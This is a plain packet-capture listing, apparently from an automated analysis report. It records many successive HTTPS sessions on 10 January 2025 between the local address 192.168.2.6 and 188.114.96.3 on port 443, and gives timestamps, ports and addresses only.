Jan 10, 2025 15:14:50.674246073 CET	50079	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:50.674278021 CET	443	50079	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:50.674323082 CET	50079	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:50.674340963 CET	50079	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:50.674360991 CET	443	50079	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:50.674393892 CET	50079	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:50.674410105 CET	50079	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:50.790246010 CET	50080	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:50.790302992 CET	443	50080	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:50.790381908 CET	50080	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:50.790735006 CET	50080	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:50.790749073 CET	443	50080	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:51.258227110 CET	443	50080	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:51.258291960 CET	50080	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:51.258811951 CET	50080	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:51.258822918 CET	443	50080	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:51.259875059 CET	50080	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:51.259882927 CET	443	50080	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:51.661381006 CET	443	50080	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:51.661446095 CET	443	50080	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:51.661557913 CET	50080	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:51.661586046 CET	50080	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:51.661746025 CET	50080	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:51.661767006 CET	443	50080	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:51.661824942 CET	50080	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:51.661845922 CET	50080	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:51.774621010 CET	50081	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:51.774678946 CET	443	50081	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:51.775465012 CET	50081	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:51.775690079 CET	50081	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:51.775701046 CET	443	50081	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:52.232189894 CET	443	50081	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:52.235614061 CET	50081	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:52.235924006 CET	50081	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:52.235933065 CET	443	50081	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:52.237190008 CET	50081	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:52.237194061 CET	443	50081	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:52.654444933 CET	443	50081	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:52.654510975 CET	443	50081	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:52.654516935 CET	50081	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:52.654572964 CET	50081	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:52.654771090 CET	50081	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:52.654788017 CET	443	50081	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:52.654797077 CET	50081	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:52.654834986 CET	50081	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:52.921562910 CET	50082	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:52.921613932 CET	443	50082	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:52.921734095 CET	50082	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:52.922255039 CET	50082	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:52.922271967 CET	443	50082	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:53.397460938 CET	443	50082	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:53.397532940 CET	50082	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:53.398092031 CET	50082	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:53.398101091 CET	443	50082	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:53.399415970 CET	50082	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:53.399421930 CET	443	50082	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:53.805535078 CET	443	50082	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:53.805604935 CET	443	50082	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:53.805771112 CET	50082	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:53.805771112 CET	50082	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:53.805771112 CET	50082	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:53.805771112 CET	50082	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:53.946161985 CET	50083	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:53.946197033 CET	443	50083	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:53.946290970 CET	50083	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:53.946647882 CET	50083	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:53.946660042 CET	443	50083	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:54.419493914 CET	443	50083	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:54.419743061 CET	50083	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:54.420121908 CET	50083	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:54.420130014 CET	443	50083	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:54.421304941 CET	50083	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:54.421317101 CET	443	50083	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:54.821276903 CET	443	50083	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:54.821340084 CET	443	50083	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:54.821413994 CET	50083	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:54.821454048 CET	50083	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:54.821638107 CET	50083	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:54.821638107 CET	50083	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:54.821660995 CET	443	50083	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:54.821752071 CET	50083	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:54.930727005 CET	50085	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:54.930774927 CET	443	50085	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:54.930866957 CET	50085	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:54.931171894 CET	50085	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:54.931184053 CET	443	50085	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:55.389440060 CET	443	50085	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:55.389516115 CET	50085	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:55.390021086 CET	50085	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:55.390031099 CET	443	50085	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:55.391495943 CET	50085	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:55.391500950 CET	443	50085	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:55.828911066 CET	443	50085	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:55.828990936 CET	443	50085	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:55.829099894 CET	50085	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:55.829262018 CET	50085	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:55.829277039 CET	443	50085	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:55.829307079 CET	50085	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:55.829329967 CET	50085	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:55.946254015 CET	50086	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:55.946301937 CET	443	50086	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:55.946394920 CET	50086	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:55.946760893 CET	50086	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:55.946774006 CET	443	50086	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:56.424415112 CET	443	50086	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:56.424653053 CET	50086	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:56.425517082 CET	50086	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:56.425533056 CET	443	50086	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:56.427294016 CET	50086	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:56.427304983 CET	443	50086	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:56.861043930 CET	443	50086	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:56.861112118 CET	443	50086	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:56.861223936 CET	50086	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:56.861223936 CET	50086	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:56.861406088 CET	50086	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:56.861428976 CET	443	50086	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:56.861475945 CET	50086	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:56.861475945 CET	50086	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:56.977427959 CET	50087	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:56.977464914 CET	443	50087	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:56.977588892 CET	50087	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:56.977797985 CET	50087	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:56.977811098 CET	443	50087	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:57.469890118 CET	443	50087	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:57.469986916 CET	50087	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:57.470468998 CET	50087	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:57.470479965 CET	443	50087	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:57.471715927 CET	50087	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:57.471721888 CET	443	50087	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:57.999696970 CET	443	50087	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:57.999752998 CET	50087	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:57.999771118 CET	443	50087	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:57.999788046 CET	443	50087	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:57.999813080 CET	50087	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:57.999839067 CET	50087	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:58.000253916 CET	50087	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:58.000269890 CET	443	50087	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:58.000286102 CET	50087	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:58.000314951 CET	50087	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:58.118010998 CET	50088	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:58.118072987 CET	443	50088	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:58.118169069 CET	50088	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:58.118453979 CET	50088	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:58.118470907 CET	443	50088	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:58.604963064 CET	443	50088	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:58.605103970 CET	50088	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:58.605545998 CET	50088	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:58.605561018 CET	443	50088	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:58.606730938 CET	50088	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:58.606734991 CET	443	50088	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:59.025563955 CET	443	50088	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:59.025629997 CET	443	50088	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:59.025700092 CET	50088	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:59.025713921 CET	50088	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:59.025882959 CET	50088	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:59.025893927 CET	443	50088	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:59.025919914 CET	50088	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:59.025966883 CET	50088	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:59.133734941 CET	50089	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:59.133805037 CET	443	50089	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:59.133888006 CET	50089	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:59.134244919 CET	50089	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:59.134263039 CET	443	50089	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:59.586666107 CET	443	50089	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:59.586844921 CET	50089	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:59.587371111 CET	50089	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:59.587378025 CET	443	50089	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:59.588517904 CET	50089	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:59.588521957 CET	443	50089	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:00.019426107 CET	443	50089	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:00.019583941 CET	443	50089	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:00.019593954 CET	50089	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:00.019731998 CET	50089	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:00.019747972 CET	443	50089	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:00.019766092 CET	50089	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:00.133877039 CET	50090	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:00.133930922 CET	443	50090	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:00.134373903 CET	50090	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:00.134659052 CET	50090	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:00.134673119 CET	443	50090	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:00.610889912 CET	443	50090	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:00.611064911 CET	50090	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:00.611804008 CET	50090	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:00.611867905 CET	443	50090	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:00.613215923 CET	50090	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:00.613221884 CET	443	50090	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:01.003021955 CET	443	50090	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:01.003091097 CET	443	50090	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:01.003156900 CET	50090	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:01.003180027 CET	50090	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:01.003262043 CET	50090	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:01.003277063 CET	443	50090	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:01.003287077 CET	50090	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:01.003324986 CET	50090	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:01.118083954 CET	50091	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:01.118149042 CET	443	50091	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:01.118267059 CET	50091	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:01.118536949 CET	50091	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:01.118555069 CET	443	50091	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:01.590420008 CET	443	50091	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:01.590606928 CET	50091	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:01.590990067 CET	50091	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:01.591001987 CET	443	50091	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:01.592159033 CET	50091	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:01.592164040 CET	443	50091	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:01.995680094 CET	443	50091	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:01.995750904 CET	443	50091	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:01.995784044 CET	50091	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:01.995816946 CET	50091	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:02.003320932 CET	50091	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:02.003349066 CET	443	50091	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:02.003362894 CET	50091	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:02.003393888 CET	50091	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:02.172899961 CET	50092	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:02.172964096 CET	443	50092	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:02.173073053 CET	50092	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:02.212587118 CET	50092	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:02.212624073 CET	443	50092	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:02.697896957 CET	443	50092	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:02.698085070 CET	50092	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:02.698661089 CET	50092	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:02.698678970 CET	443	50092	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:02.700126886 CET	50092	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:02.700140953 CET	443	50092	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:03.117619991 CET	443	50092	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:03.117696047 CET	443	50092	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:03.117748022 CET	50092	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:03.117748022 CET	50092	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:03.117834091 CET	50092	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:03.117861032 CET	443	50092	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:03.117872953 CET	50092	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:03.117908955 CET	50092	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:03.227538109 CET	50093	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:03.227591038 CET	443	50093	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:03.227669001 CET	50093	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:03.228082895 CET	50093	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:03.228096962 CET	443	50093	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:03.704849005 CET	443	50093	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:03.704998970 CET	50093	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:03.705569983 CET	50093	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:03.705581903 CET	443	50093	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:03.706785917 CET	50093	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:03.706790924 CET	443	50093	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:04.144311905 CET	443	50093	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:04.144469976 CET	50093	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:04.144479990 CET	443	50093	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:04.144532919 CET	50093	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:04.144623041 CET	50093	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:04.144640923 CET	443	50093	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:04.144665003 CET	50093	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:04.144682884 CET	50093	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:04.267836094 CET	50094	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:04.267891884 CET	443	50094	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:04.267990112 CET	50094	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:04.268757105 CET	50094	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:04.268768072 CET	443	50094	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:04.721568108 CET	443	50094	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:04.721743107 CET	50094	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:04.722238064 CET	50094	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:04.722249985 CET	443	50094	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:04.723440886 CET	50094	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:04.723448992 CET	443	50094	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:05.130593061 CET	443	50094	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:05.130662918 CET	443	50094	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:05.130774021 CET	50094	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:05.130836964 CET	50094	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:05.130975962 CET	50094	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:05.131000042 CET	443	50094	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:05.131021023 CET	50094	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:05.131052017 CET	50094	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:05.243340969 CET	50095	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:05.243398905 CET	443	50095	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:05.243607044 CET	50095	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:05.243990898 CET	50095	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:05.244004965 CET	443	50095	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:05.730274916 CET	443	50095	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:05.730422020 CET	50095	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:05.730998039 CET	50095	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:05.731008053 CET	443	50095	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:05.732191086 CET	50095	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:05.732197046 CET	443	50095	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:06.151901960 CET	443	50095	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:06.152026892 CET	50095	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:06.152049065 CET	443	50095	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:06.152082920 CET	443	50095	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:06.152101040 CET	50095	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:06.152128935 CET	50095	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:06.152961969 CET	50095	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:06.152977943 CET	443	50095	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:06.152993917 CET	50095	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:06.153022051 CET	50095	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:06.258836985 CET	50096	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:06.258905888 CET	443	50096	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:06.258977890 CET	50096	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:06.259273052 CET	50096	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:06.259293079 CET	443	50096	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:07.380888939 CET	443	50096	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:07.381123066 CET	50096	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:07.381566048 CET	50096	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:07.381572962 CET	443	50096	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:07.382755041 CET	50096	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:07.382761002 CET	443	50096	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:07.773015022 CET	443	50096	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:07.773085117 CET	443	50096	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:07.773271084 CET	50096	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:07.773380995 CET	50096	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:07.773401022 CET	443	50096	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:07.899624109 CET	50097	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:07.899656057 CET	443	50097	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:07.899750948 CET	50097	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:07.900012970 CET	50097	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:07.900027037 CET	443	50097	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:08.369879961 CET	443	50097	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:08.370003939 CET	50097	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:08.370867968 CET	50097	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:08.370877028 CET	443	50097	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:08.371984005 CET	50097	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:08.371989965 CET	443	50097	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:08.772295952 CET	443	50097	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:08.772442102 CET	50097	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:08.772464991 CET	443	50097	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:08.772524118 CET	50097	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:08.772578955 CET	50097	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:08.772593975 CET	443	50097	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:08.772607088 CET	50097	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:08.772660971 CET	50097	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:08.883728027 CET	50098	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:08.883759975 CET	443	50098	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:08.883868933 CET	50098	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:08.884136915 CET	50098	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:08.884147882 CET	443	50098	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:09.364654064 CET	443	50098	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:09.364806890 CET	50098	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:09.365283966 CET	50098	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:09.365295887 CET	443	50098	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:09.366430044 CET	50098	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:09.366436005 CET	443	50098	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:09.793976068 CET	443	50098	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:09.794054031 CET	443	50098	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:09.794120073 CET	50098	443	192.168.2.6	188.114.96.3
